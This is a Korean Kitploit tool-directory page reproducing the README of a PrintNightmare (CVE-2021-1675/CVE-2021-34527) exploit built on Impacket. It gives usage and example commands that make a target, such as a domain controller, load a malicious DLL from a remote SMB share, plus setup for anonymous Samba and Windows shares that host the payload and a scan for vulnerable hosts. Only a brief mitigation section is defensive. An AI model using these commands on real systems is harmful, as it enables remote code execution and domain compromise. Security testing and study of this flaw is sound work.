Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-1675 — C# 및 Impacket을 사용한 PrintNightmare CVE-2021-1675/CVE-2021-34527 구현 | Kitploit
도구/GitHubGitHub/cube0x0/cve-2021-1675
Payload GenerationVulnerability AnalysisExploitationPenetration Testing
GitHubcube0x0/cve-2021-1675

CVE-2021-1675

C# 및 Impacket을 사용한 PrintNightmare CVE-2021-1675/CVE-2021-34527 구현

저장소 보기
2.0k5745년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-1675 / CVE-2021-34527

Impacket 기반 PrintNightmare PoC 구현체로, 원작자는 Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370) 입니다.

완전히 패치된 2019 도메인 컨트롤러에서 테스트되었습니다.

악성 DLL을 원격 또는 로컬로 실행

패치 업데이트

Microsoft는 이러한 공격을 완화하기 위한 패치를 출시했지만, 아래 값들이 머신에 존재하는 경우 해당 머신은 여전히 취약한 상태입니다.

root@kitploit:~
REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
    RestrictDriverInstallationToAdministrators    REG_DWORD    0x0
    NoWarningNoElevationOnInstall    REG_DWORD    0x1

설치

익스플로잇을 실행하기 전에 제 버전의 Impacket을 설치해야 합니다. 그 후에는 준비 완료입니다.

root@kitploit:~
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

CVE-2021-1675.py

root@kitploit:~
usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

CVE-2021-1675 implementation.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  share                 Path to DLL. Example '\\10.10.10.10\share\evil.dll'

optional arguments:
  -h, --help            show this help message and exit

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

connection:
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
                        and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

Example;
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'

SMB 구성

페이로드를 호스팅하는 가장 쉬운 방법은 samba를 사용하고 /etc/samba/smb.conf 를 수정하여 익명 접근을 허용하는 것입니다.

root@kitploit:~
[global]
    map to guest = Bad User
    server role = standalone server
    usershare allow guests = yes
    idmap config * : backend = tdb
    smb ports = 445

[smb]
    comment = Samba
    path = /tmp/
    guest ok = yes
    read only = no
    browsable = yes
    force user = smbuser

Windows에서도 가능합니다.

root@kitploit:~
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot

스캐닝

Impacket의 rpcdump.py를 사용하여 잠재적으로 취약한 호스트를 스캔할 수 있으며, 값이 반환되면 취약할 가능성이 있습니다.

root@kitploit:~
rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'

Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol

완화 조치

Spooler 서비스 비활성화

root@kitploit:~
Stop-Service Spooler
REG ADD  "HKLM\SYSTEM\CurrentControlSet\Services\Spooler"  /v "Start" /t REG_DWORD /d "4" /f
도구 다운로드